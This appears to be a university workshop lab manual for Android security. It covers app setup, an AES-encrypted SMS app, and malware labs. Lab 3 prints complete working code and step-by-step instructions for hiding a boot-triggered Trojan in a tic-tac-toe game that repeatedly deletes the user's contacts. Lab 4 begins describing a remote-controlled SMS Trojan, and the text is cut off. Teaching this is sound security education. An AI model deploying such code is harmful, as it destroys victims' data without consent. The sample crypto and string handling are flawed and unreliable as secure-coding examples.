[TYPE THE COMPANY NAME] NSF Mobile Security Workshop 2014 Sponsored by NSF #1241651 University of Tennessee at Chattanooga, Southern Polytechnic State University, University of Cincinnati, Tuskegee University 6/27/2014 Mobile Security Workshop Hands-on Lab Manual contents Mobile Security Workshop Hands-on Lab Manual ........................................................................... 0 Lab 1 Getting Started with Mobile App Development ................... Error! Bookmark not defined. Android Development Environment Set Up ........................... Error! Bookmark not defined. Simple Android App Development ......................................... Error! Bookmark not defined. Objective ........................................................................................ Error! Bookmark not defined. Software Requirement .................................................................. Error! Bookmark not defined. Tutorial .......................................................................................... Error! Bookmark not defined. Take a screenshot on your android device via Eclipse: ........... Error! Bookmark not defined. Android App Deployment ....................................................................................................... 19 Lab 2 Encryption/decryption with key pair .................................................................................... 20 Objective ........................................................................................................................................ 20 Software Requirement .................................................................................................................. 20 Demo ....................................................................................................................................... 38 Lab 3 Malware-Game ..................................................................................................................... 41 Lab 3 Malware Game – Step by Step demonstration .............................................................. 44 Lab 4 Malware-Trojan .................................................................................................................... 65 Objective ........................................................................................................................................ 65 Special Notice ................................................................................................................................ 65 The Development of the Android Trojan ........................................................................................ 65 Lab 4 Step-by-Step Demonstration ......................................................................................... 69 Lab 5 Database Security ................................................................................................................. 79 SQL injection and defense ...................................................................................................... 79 Objective ........................................................................................................................................ 79 Software Requirement .................................................................................................................. 79 Tutorial .......................................................................................................................................... 79 1 Lab 1 Getting Started with Mobile App Development Android Development Environment Set Up Simple Android App Development In this tutorial, we will learn to create a "Hello User" application. User can enter a text into the textbox, then click the button. The application will get the value from the textbox and display the hello message on the screen. The application will also print out the current time and date. Objective The Object Oriented programming is the most current way of programming. The concept of OO is now applied to not only programming, but also database system, interactive interface, application structure, and various areas. This tutorial will help students to understand how the OO programming works, how convenience the OO programming is. Students will easily start to get into the concept of OO programming and use it into the future programming. Software Requirement Eclipse IDE Java JDK, JRE Android SDK Tutorial Open Eclipse (For purposes of this workshop, the correct configuration of Eclipse is located under the downloads folder) 2 Double click here Open the Eclipse folder Double click here 3 Open Eclipse Double click here You will be asked to create a workspace. I am storing mine under my name: a name click OK. It will take a little time to load the tools. After typing You are now ready to create a new android project. Your screen should look something like this: 4 Click New Android Application. You should see a screen that looks like this. 5 Project Name: Hello_world – the application name will automatically fill. Target Name: Android 2.3 ->Selected this from "Target SDK" Package Name: android.hello_world Your screen should now look like this. 6 Click Next three times till you get a screen that looks like the following: Make sure Blank Activity is selected and click Next. 7 Fill in the Activity Name as Hello_worldActivity. (This is basically Java so it is case sensitive) We are looking for these names in later labs so make sure you keep to the correct naming convention). This generates the .java code we will be using later. Change the LayoutName to main. This generates the layout.xml code we will use later. Navigation Type should stay None Fragment Layout Name should stay the same. When completed, you screen should look like this. Click Finish. Eclipse will process for a few minutes. 8 Your screen should look something like the following. Notice that we are in the fragment_hello_world-activity.xml and we are in the Graphical Layout. Note: If you are not on this screen. Open the folder res and select the layout folder and select the fragment_hello_world_activity.xml. Now we are going to add some things to our screen. From the Forms Widget, select the text view and drag it to the graphic of your phone. Next move to the Text Fields folder and drag a field to you phone graphic. person name. Next we are going to create a button. Go back to the Forms Widget and drag a button to your phone graphic. I chose Right click on the button from graphical layout, select Other Properties -> Inherited From View -> OnClick. You should then see a box that looks like the following: 9 Type onclick (case sensitive) in the blank box to set the OnClick value and click OK. You should be back to the main screen. Go to file and hit SAVE. We are now ready to add the code which we have provided. Go to Hello_world -> src Select the android.hello_world Double Click Hello_worldActivity.java You should see the following: 10 Making sure you are in the Hello_worldActivity.java tab, delete all the code. Copy and paste the following code in “Hello_worldActivity.java package android.hello_world; import android.app.Activity; import android.os.Bundle; import java.text.DateFormat; import java.util.Date; import android.view.View; import android.widget.EditText; import android.widget.TextView; 11 public class Hello_worldActivity extends Activity { EditText text1; TextView view1; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); layout document. //this name should //follow your xml file's name in text1=(EditText)findViewById(R.id.editText1); view1=(TextView)findViewById(R.id.textView1); } public void onclick(View view) { String currentDateTimeString = DateFormat.getDateInstance().format(new Date()); if(text1.getText().toString()==""){ view1.setText("Hello! Default user! \r\n Now is "+currentDateTimeString); } else { view1.setText("Hello! " + text1.getText().toString() + "\r\n Now is " + currentDateTimeString); } } 12 } After copying the data save the file. Go to File Save. Next we need to copy data into the AndroidManifest.xml. You will notice there are more than one AndroidManifest.xml files. We want the one under bin. Click on the AndroidManifest.xml file. You should see the following: 13 If you do not, try clicking on the tab marked AndroidMainfest.xml. Delete all the code. Copy and paste the following code into AndroidManifest.xml. <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.hello_world" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:debuggable="true" android:label="@string/app_name" > <activity android:name=".Hello_worldActivity" android:label="@string/app_name" > <intent-filter> 14 <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> Save the file. Lastly, we need to modify the main.xml. Go to main.xml. folder, under the layout folder. It is located under the res Double click to open the file. Again, you may have click on the main.xml tab to get to the code. Delete the existing code and insert the following in its place. <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" 15 android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".HelloWorldActivity" > <TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_marginLeft="30dp" android:layout_marginTop="158dp" /> <EditText android:id="@+id/editText1" android:layout_width="200dp" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_marginLeft="18dp" /> <Button 16 android:id="@+id/button1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_marginLeft="18dp" android:layout_marginTop="68dp" android:onClick="onclick" android:text="Greeting" /> </RelativeLayout> You are now ready to run the code. (These machines are setup with the emulator pre-installed. If you are running under the emulator mode, you would have to do this on your machines.) To run the code, click on the run and select Run as: Save and run the project, enter your name in to the textbox, click the “Submit” button, the result will be like this. Emulator: 17 To run on a real device: 18 Take a screenshot on your android device via Eclipse: Step 1: Open perspective DDMS. Step 2: In the devices view you can see a button for screenshot. Android App Deployment Using USB to deploy Apps to real mobile phone device Please follow the link below to setup your own Android phone: Work on real mobile phone device 19 Lab 2 Encryption/decryption with key pair In this lab we will try to create a secure SMS Android application. The secure SMS application that we designed utilizes encryption and decryption, which means that if there is some malware in the middle and tries to intercept or view our short message body it will get nothing but some random bytes (the so-called cipher text). Objective On the open-source Android platform, there are many kinds of malware that can intercept an incoming short message. From the "Mobile Threats & Defense" module labs, we even learnt to develop a malware that can intercept some secret encoded short message by ourselves. This means that the SMS itself is not safe enough. For this reason, this lab outcomes to be a necessity. Through this lab, the students will learn a method to secure short message service. Also, students can gain some experience on Java cryptography programming. Software Requirement Eclipse IDE Android SDK Tutorial File ==>New ==>Project ==> under android folder (in select wizard)==>Android application Project Application Name: EncDecSMS Project Name: EncDecSMS Package Name: android.encdecsms In left side of Eclipse (Project Explorer tab), you can observe that a Project with EncDecSMS folder is created. 20 Expand the “res” folder and right click on layout folder to create an xml file. Right click on layout ==> new ==> other ==> android ==> select android xml file Enter the file name as “main” (do not keep it as main.xml) Copy the following code in main.xml Note: when a xml file is created, you can see both graphical layout and main.xml 21 Copy the following XML code to layout ==> main.xml: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <LinearLayout android:id="@+id/linearLayout1" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="vertical" > <TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Recipient:" android:textAppearance="?android:attr/textAppearanceMedium" /> </LinearLayout> <EditText android:id="@+id/recNum" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="phone" > <requestFocus /> </EditText> <TextView android:id="@+id/textView2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="16-Character Secret Key:" android:textAppearance="?android:attr/textAppearanceMedium" /> <EditText android:id="@+id/secretKey" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="textPassword" /> 22 <TextView android:id="@+id/textView3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Message:" android:textAppearance="?android:attr/textAppearanceMedium" /> <EditText android:id="@+id/msgContent" android:layout_width="match_parent" android:layout_height="208dp" android:layout_weight="0.37" android:inputType="textMultiLine" /> <LinearLayout android:id="@+id/linearLayout2" android:layout_width="match_parent" android:layout_height="wrap_content" > <Button android:id="@+id/Send" android:layout_width="148dp" android:layout_height="wrap_content" android:layout_weight="0.06" android:text="Send" /> <Button android:id="@+id/cancel" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_weight="0.45" android:text="Cancel" /> </LinearLayout> </LinearLayout> The code above will create a layout as the following: 23 Create another layout under the layout folder, name it as onreceive.xml Note:Select XML Layout file. Copy and paste the following code to onreceive.xml 24 <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Sender:" android:textAppearance="?android:attr/textAppearanceMedium" /> <LinearLayout android:id="@+id/linearLayout1" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="vertical" > <TextView android:id="@+id/senderNum" android:layout_width="244dp" android:layout_height="wrap_content" android:textAppearance="?android:attr/textAppearanceMedium" /> </LinearLayout> <TextView android:id="@+id/textView2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="16-Character Secret Key:" android:textAppearance="?android:attr/textAppearanceMedium" /> <EditText android:id="@+id/secretKey" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="textPassword" > <requestFocus /> </EditText> <TextView 25 android:id="@+id/textView3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Received Encrypted Message:" android:textAppearance="?android:attr/textAppearanceMedium" /> <TextView android:id="@+id/encryptedMsg" android:layout_width="match_parent" android:layout_height="130dp" /> <TextView android:id="@+id/textView4" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Decrypted Message:" android:textAppearance="?android:attr/textAppearanceMedium" /> <TextView android:id="@+id/decryptedMsg" android:layout_width="match_parent" android:layout_height="98dp" android:layout_weight="0.05" /> <LinearLayout android:id="@+id/linearLayout2" android:layout_width="match_parent" android:layout_height="wrap_content" > <Button android:id="@+id/submit" android:layout_width="159dp" android:layout_height="wrap_content" android:text="Submit" /> <Button android:id="@+id/cancel" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Cancel" /> </LinearLayout> </LinearLayout> 26 The code above will create a layout as the following: In the Project explorer under EncDecSMS folder ==> src (right click on src) ==> new ==> class In the Package name enter the same name which you had used while creating new project i.e. android.encdecsms For Name enter EncDecSMSActivity.java, copy and paste the following code: note: do not keep ".java" extension while entering the name, repeat the same procedure for rest of the java files. package android.encdecsms; import java.security.Key; import java.util.ArrayList; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import android.app.Activity; import android.os.Bundle; 27 import android.telephony.SmsManager; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class EncDecSMSActivity extends Activity { /** Called when the activity is first created. */ EditText recNum; EditText secretKey; EditText msgContent; Button send; Button cancel; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); recNum = (EditText) findViewById(R.id.recNum); secretKey = (EditText) findViewById(R.id.secretKey); msgContent = (EditText) findViewById(R.id.msgContent); send = (Button) findViewById(R.id.Send); cancel = (Button) findViewById(R.id.cancel); // finish the activity when click Cancel button cancel.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { finish(); } }); // encrypt the message and send when click Send button send.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { String recNumString = recNum.getText().toString(); String secretKeyString = secretKey.getText().toString(); String msgContentString = msgContent.getText().toString(); // check for the validity of the user input // key length should be 16 characters as defined by AES-128-bit if (recNumString.length() > 0 && secretKeyString.length() > 0 && msgContentString.length() > 0 && secretKeyString.length() == 16) { 28 // encrypt the message byte[] encryptedMsg = encryptSMS(secretKeyString, msgContentString); // convert the byte array to hex format in order for // transmission String msgString = byte2hex(encryptedMsg); // send the message through SMS sendSMS(recNumString, msgString); // finish finish(); } else Toast.makeText( getBaseContext(), "Please enter phone number, secret key and the message. Secret key must be 16 characters!", Toast.LENGTH_SHORT).show(); } }); } public static void sendSMS(String recNumString, String encryptedMsg) { try { // get a SmsManager SmsManager smsManager = SmsManager.getDefault(); // Message may exceed 160 characters // need to divide the message into multiples ArrayList<String> parts = smsManager.divideMessage(encryptedMsg); smsManager.sendMultipartTextMessage(recNumString, null, parts, null, null); } catch (Exception e) { e.printStackTrace(); } } 29 // utility function public static String byte2hex(byte[] b) { String hs = ""; String stmp = ""; for (int n = 0; n < b.length; n++) { stmp = Integer.toHexString(b[n] & 0xFF); if (stmp.length() == 1) hs += ("0" + stmp); else hs += stmp; } return hs.toUpperCase(); } // encryption function public static byte[] encryptSMS(String secretKeyString, String msgContentString) { try { byte[] returnArray; // generate AES secret key from user input Key key = generateKey(secretKeyString); // specify the cipher algorithm using AES Cipher c = Cipher.getInstance("AES"); // specify the encryption mode c.init(Cipher.ENCRYPT_MODE, key); // encrypt returnArray = c.doFinal(msgContentString.getBytes()); return returnArray; } catch (Exception e) { e.printStackTrace(); byte[] returnArray = null; return returnArray; } } 30 private static Key generateKey(String secretKeyString) throws Exception { // generate secret key from string Key key = new SecretKeySpec(secretKeyString.getBytes(), "AES"); return key; } } After that, we create another two new classes and name them as "DisplaySMSActivity.java" and "SmsBroadCastReceiver.java". For DisplaySMSActivity.java, copy and paste the following code: package android.encdecsms; import java.security.Key; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import android.app.Activity; public class DisplaySMSActivity extends Activity { EditText secretKey; TextView senderNum; TextView encryptedMsg; TextView decryptedMsg; Button submit; Button cancel; String originNum = ""; String msgContent = ""; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.onreceive); 31 senderNum = (TextView) findViewById(R.id.senderNum); encryptedMsg = (TextView) findViewById(R.id.encryptedMsg); decryptedMsg = (TextView) findViewById(R.id.decryptedMsg); secretKey = (EditText) findViewById(R.id.secretKey); submit = (Button) findViewById(R.id.submit); cancel = (Button) findViewById(R.id.cancel); // get the Intent extra Bundle extras = getIntent().getExtras(); if (extras != null) { // get the sender phone number from extra originNum = extras.getString("originNum"); // get the encrypted message body from extra msgContent = extras.getString("msgContent"); // set the text fields in the UI senderNum.setText(originNum); encryptedMsg.setText(msgContent); } else { // if the Intent is null, there should be something wrong Toast.makeText(getBaseContext(), "Error Occurs!", Toast.LENGTH_SHORT).show(); finish(); } // when click on the cancel button, return cancel.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { finish(); } }); // when click on the submit button decrypt the message body submit.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { // user input the AES secret key 32 String secretKeyString = secretKey.getText().toString(); //key length should be 16 characters as defined by AES-128-bit if (secretKeyString.length() > 0 && secretKeyString.length() == 16) { try { // convert the encrypted String message body to a byte // array byte[] msg = hex2byte(msgContent.getBytes()); // decrypt the byte array byte[] result = decryptSMS(secretKey.getText() .toString(), msg); // set the text view for the decrypted message decryptedMsg.setText(new String(result)); } catch (Exception e) { // in the case of message corrupted or invalid key // decryption cannot be carried out decryptedMsg.setText("Message Cannot Be Decrypted!"); } } else Toast.makeText(getBaseContext(), "You must provide a 16-character secret key!", Toast.LENGTH_SHORT).show(); } }); } // utility function: convert hex array to byte array public static byte[] hex2byte(byte[] b) { if ((b.length % 2) != 0) throw new IllegalArgumentException("hello"); byte[] b2 = new byte[b.length / 2]; for (int n = 0; n < b.length; n += 2) { String item = new String(b, n, 2); 33 b2[n / 2] = (byte) Integer.parseInt(item, 16); } return b2; } // decryption function public static byte[] decryptSMS(String secretKeyString, byte[] encryptedMsg) throws Exception { // generate AES secret key from the user input secret key Key key = generateKey(secretKeyString); // get the cipher algorithm for AES Cipher c = Cipher.getInstance("AES"); // specify the decryption mode c.init(Cipher.DECRYPT_MODE, key); // decrypt the message byte[] decValue = c.doFinal(encryptedMsg); return decValue; } private static Key generateKey(String secretKeyString) throws Exception { // generate AES secret key from a String Key key = new SecretKeySpec(secretKeyString.getBytes(), "AES"); return key; } } For SmsBroadCastReceiver.java, copy and paste the following code: package android.encdecsms; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsMessage; 34 public class SmsBroadCastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Bundle bundle = intent.getExtras(); // Specify the bundle to get object based on SMS protocol "pdus" Object[] object = (Object[]) bundle.get("pdus"); SmsMessage sms[] = new SmsMessage[object.length]; Intent in=new Intent(context,DisplaySMSActivity.class); in.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); in.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); String msgContent = ""; String originNum = ""; StringBuffer sb = new StringBuffer(); for (int i = 0; i < object.length; i++) { sms[i] = SmsMessage.createFromPdu((byte[]) object[i]); // get the received SMS content msgContent = sms[i].getDisplayMessageBody(); //get the sender phone number originNum = sms[i].getDisplayOriginatingAddress(); //aggregate the messages together when long message are fragmented sb.append(msgContent); //abort broadcast to cellphone inbox abortBroadcast(); } //fill the sender's phone number into Intent in.putExtra("originNum", originNum); //fill the entire message body into Intent in.putExtra("msgContent", new String(sb)); //start the DisplaySMSActivity.java 35 context.startActivity(in); } } Lastly, go to AndroidManifest.xml. Copy and pate the following code: ( placed under main project folder i.e. EncDecSMS==>AndroidManifest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.encdecsms" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.SEND_SMS" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:name=".EncDecSMSActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="DisplaySMSActivity"> </activity> <receiver android:name=".SmsBroadCastReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application> </manifest> 36 Creating and running on Emulator. Right Click on EncDecSMS==>Run As==>Run configurations Click on Manager tab which is present on the right side of the window and click on new Enter the following values in the window You can enter any value in AVD name field and size field. 37 Demo Open two emulators on your eclipse. Run the Android Project "EncDecSMS" on both emulators. Emulator1 serves as a sender which sends encrypted short message to Emulator 2. Emulator 2 serves as receiver which receives the short message from Emulator 1 and decrypts the received cipher text message. Upon starting the activity, since we will use Emulator 1 to send the short message, we should press "Cancel" button on Emulator 2 in order for Emulator 2 to receive the message. On Emulator 1 we fill in the corresponding information such as recipient, 16-character AES secret key and the message body. Here, one thing should be noticed: the AES secret key should be a 16-character input. This is because the AES encryption algorithm we use is a 128-bit block cipher which must uses a 128-bit, a 192-bit or a 256-bit secret key. Here we set it to only accept a 16-character (128-bit) secret key for simplicity and we use "1111111111111111" as secret key for demonstration. 38 After filling these information, the user can press "Send" button and then the message is sent to Emulator 2. Upon receiving, the Emulator 2 is as the following: On Emulator 2 we can see that, the sender's phone number and the received encrypted 39 messages has been filled on those text fields. Then, the user should input the secret key in the input box in order to use it to decrypt the message. The secret key should be the same as the one which is used to encrypt the message, the one "1111111111111111". After filling in a correct secret key in the box, press "Submit" button and the decrypted message should appear. If the message is corrupted or the secret key is wrong, then the message cannot be decrypted correctly. 40 Lab 3 Malware-Game By Sam Rothermel He chose a tic tac toe game, and has it delete the users contact list as the attack. Instead of it just going through and deleting once, the Trojan would run a background service on the phone and periodically delete every few minutes. Furthermore, to disconnect the link between the app being the source of the Trojan, he set it up to only run after the next boot. Firstly, a simple tic tac toe program was obtained from open source here: http://www.edumobile.org/android/android-development/tictactoe-game-implementation/ Credit goes to Sushant for the code. Whilehe borrowed the code for the tic tac toe app, the code for the Trojan is his own work. these permissions are added in the Manifest.xml file: <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_CONTACTS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> The READ/WRITE_CONTACTS are for accessing and changing the contact info on the phone; the RECEIVE_BOOT_COMPLETED is for when the phone starts up, which is when the attack began. Also, a BOOT_COMPLETED intent-filter was needed to fire when the device first starts up and have it call the receiver that sets up the attack. And then register another receiver for running the service periodically (so it never quits), and the service for performing the attack. <receiver android:name=".StartAttack" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> Next, set up classes. In StartAttack.java, which is the class called when the next boot happens so long as the app is installed, the first critical lines are given below: 41 AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE); Intent i = new Intent(context, RunTrojan.class); PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT); service.setInexactRepeating(AlarmManager.RTC_WAKEUP,cal.getTimeInMillis(), TIME, pending); AlarmManager sets up Alarm Service, which is something that periodically “wakes up” the phone when it needs to do something after it’s gone into sleep mode. Also call PendingIntent, which is an intent that works off the alarm when it fires to call a broadcast receiver. Finally, call .setInexactRepeating, which fires the intent periodically until the AlarmManager service is killed. Next the RunTrojan class captures the repeating intent to fire our Trojan class. Inside the Trojan class, we run this code: ContentResolver contentResolver = getContentResolver(); Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); while (cursor.moveToNext()) { String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY)); Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey); contentResolver.delete(uri, null, null); } This gets our phones contacts, goes through all of them, and deletes them in one simple while loop. This is where the attack happens. Now on to the demo: 42 First shot is of the phone’s contacts properly in place. Second is of the tic tac toe app being run for the first time. User is unaware of any connection between these programs. After restarting the phone, the contacts are still there if you go to them immediately, but the service always waits a couple minutes before it strikes. Left image is a few minutes after restarting phone, user did not delete contacts, they just disappeared. In fact, if you’re watching the contacts page on the phone they will all vanish instantly. Now to make sure the attack keeps happening, reset up a couple contacts in the right picture. Sure enough, after a few more minutes they disappear again! 43 Malware Defence: Now comes to how we can identify and remove it. Deleting the app is enough to get rid of the Trojan, we can alternatively stop the service so long as we identify it as the culprit. Using LBE Privacy Guard, we can see that TicTacTrojan is accessing our Contacts, something you wouldn’t normally expect a game to do. Using the active protection feature, we can prompt the user whenever the app tries to access our contacts, thereby revealing what it’s attempting to do and possibly saving it from harm. We can also see the app is being run as a service even though we never started it after boot, making it appear very suspicious even without any sort of protective software. There are also programs, such as BackupContacts found here:https://play.google.com/store/apps/details?id=no.uia.android.backupcontacts&hl=en that can backup our contact lists in case they ever become compromised. Mobile Backup II was another one we covered in the labs that could be used for contacts. First picture shows that TicTacTrojan is possibly accessing contacts in a malicious manner. Second pic shows the app is running after phone reboot even though I never started it. Note that it starts latter because of the buffer time in AlarmManager set up. Lab 3 Malware Game – Step by Step demonstration In this lab, we will practice the injection of malicious code into a benign TicTacToe Game. The malicious code will periodically erase all the contacts on device. 44 Step 1: Start an emulator and Add Contacts In Eclipse, follow the steps in the screenshot below to start an Emulator using AVD “Test” The emulator may take several minutes to start. After it starts, click the button in the middle to check the installed apps on device. 45 46 Click “Contacts” to check the contact list on device. In the beginning, the contact list is empty, and we can first click the “Menu” in the right panel, and then click the “New Contact” button to create new contacts. 47 48 Enter the name for a new contact and press done. 49 Now, you shall see the new contact in your contact list. Step 2: Load benign TicTaeToe Game into Eclipse 50 The eclipse project “MalTicTaeToe” under the folder “\Lab3\Before Injecting Malicious Code\” contains a benign TicTaeToe game. Import the project into eclipse. In eclipse, click “File” -> “Import” In the “Import” dialog, select “Android” -> “Existing Android Code into Workspace”, and then click “Next” Browse to the foler of “MalTicTacToe” under “Lab3\Before Injecting Malicious Code\”. Check “Copy Projects into workspace” and Click “Finish” to complete the import. 51 The imported project would look like the screenshot below. Step 3: Install the benign TicTacToe to the emulator 52 The Game will automatically start, and you can play the TicTacToe game Check the contact list (refer to Step 1), the previously created contact should still exist. Close the emulator and start it again; the contact list should remain unchanged. Step 4: Inject Malicious Code 53 Open the configuration file: AndroidManifest.xml Add permission requests (orange color) and two Receiver components (blue color) to the AndroidManifest.xml Code 3.1 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.trojangame" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="10" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_CONTACTS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" 54 android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="edu.mobilesecuritylabware.malware.maltictactoe.tictactoe.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name="edu.mobilesecuritylabware.malware.maltictactoe.trojan.RunTrojan" > </receiver> <receiver android:name="edu.mobilesecuritylabware.malware.maltictactoe.trojan.StartAttack" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest> Next, we will add the java code for the two new components. Create a new package with the name “edu.mobilesecuritylabware.malware.maltictactoe.trojan” 55 56 Add a new Java class “RunTrojan” to the new package 57 Repeat the same steps to add another class “StartAttack” to the new package. Replace the code in RunTrojan.java with Code 3.2 58 Code 3.2 package edu.mobilesecuritylabware.malware.maltictactoe.trojan; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.provider.ContactsContract; import android.util.Log; public class RunTrojan extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.i("LOG", "deleteContacts"); ContentResolver contentResolver = context.getContentResolver(); Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); while (cursor.moveToNext()) { String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY)); 59 Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey); Log.i("LOG", uri.toString()); contentResolver.delete(uri, null, null); } } } Replace the code in StartAttack.java with Code 3.3 Code 3.3 package edu.mobilesecuritylabware.malware.maltictactoe.trojan; import java.util.Calendar; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class StartAttack extends BroadcastReceiver { private static final long TIME = 5000;//??how long? Calendar cal=Calendar.getInstance(); 60 private static int count=0; @Override public void onReceive(Context context, Intent arg1) { Log.i("StartAttack", "onReceive"); AlarmManager service = (AlarmManager) context .getSystemService(Context.ALARM_SERVICE); Intent i = new Intent(context, RunTrojan.class); PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT); service.setInexactRepeating(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), TIME, pending); Log.i("StartAttack", count++ +" times"); } } Step 5. Removed Previously Installed Benign TicTacToe In emulator, open the “Settings” -> “Applications” -> “Manage Applications” -> “TrojanGame” -> “Uninstall” 61 62 Step 6. Install the TicTacToe with the malicious code In eclipse, install the MalTicTacToe to the emulator (refer to Step 3) After the installation, the main activity of malicious TicTactoe will be invoked. Play the game and exit the game. Check the contacts. The contact list should remain unchanged. 63 Close the emulator and start the emulator again. Check the contacts. All contacts shall be removed. You can add contact again (refer to Step 1) and they shall be quickly removed. 64 Lab 4 Malware-Trojan Objective In this lab, we will develop an Android Trojan from scratch to demonstrate the concept of Mobile Malware on Android platform. The main functionality of this Android Trojan is sending text messages to others according to a hacker's commands. In order to make the user unconscious of the malicious activities, this Trojan will delete all the messaging history. The diagram below illustrates the work flow of this Android Trojan. Special Notice The Android Trojan developed in this lab is for education purpose. Readers should perform gracefully based on hacking ethics and should not spread or utilize the code in this lab to harm other Android phone users to gain their own benefits. A more thorough specification of hacking ethics can be found here and here. Please read them carefully. The Development of the Android Trojan The appearance of this Trojan is an introduction to an Asian dish, Hong Shao Shi Zi Tou. We assume that the victim is interested in Asian food and she has downloaded this app carelessly. When the victim activates the application, the Trojan will send a notification to the hacker, which encodes the information of the user's IP address and a port number for malicious 65 communication. Then, the Trojan and the hacker are able to set up a TCP/IP communication channel, via which the hacker can send commands to the Trojan on victim's device. When receive a command from the hacker, the Trojan will analyze the data packet, abstract the target users' phone numbers and the content of the malicious message, and finally send the malicious messages to the target phone users. After sending text messages, the Trojan will delete the messaging history. If the 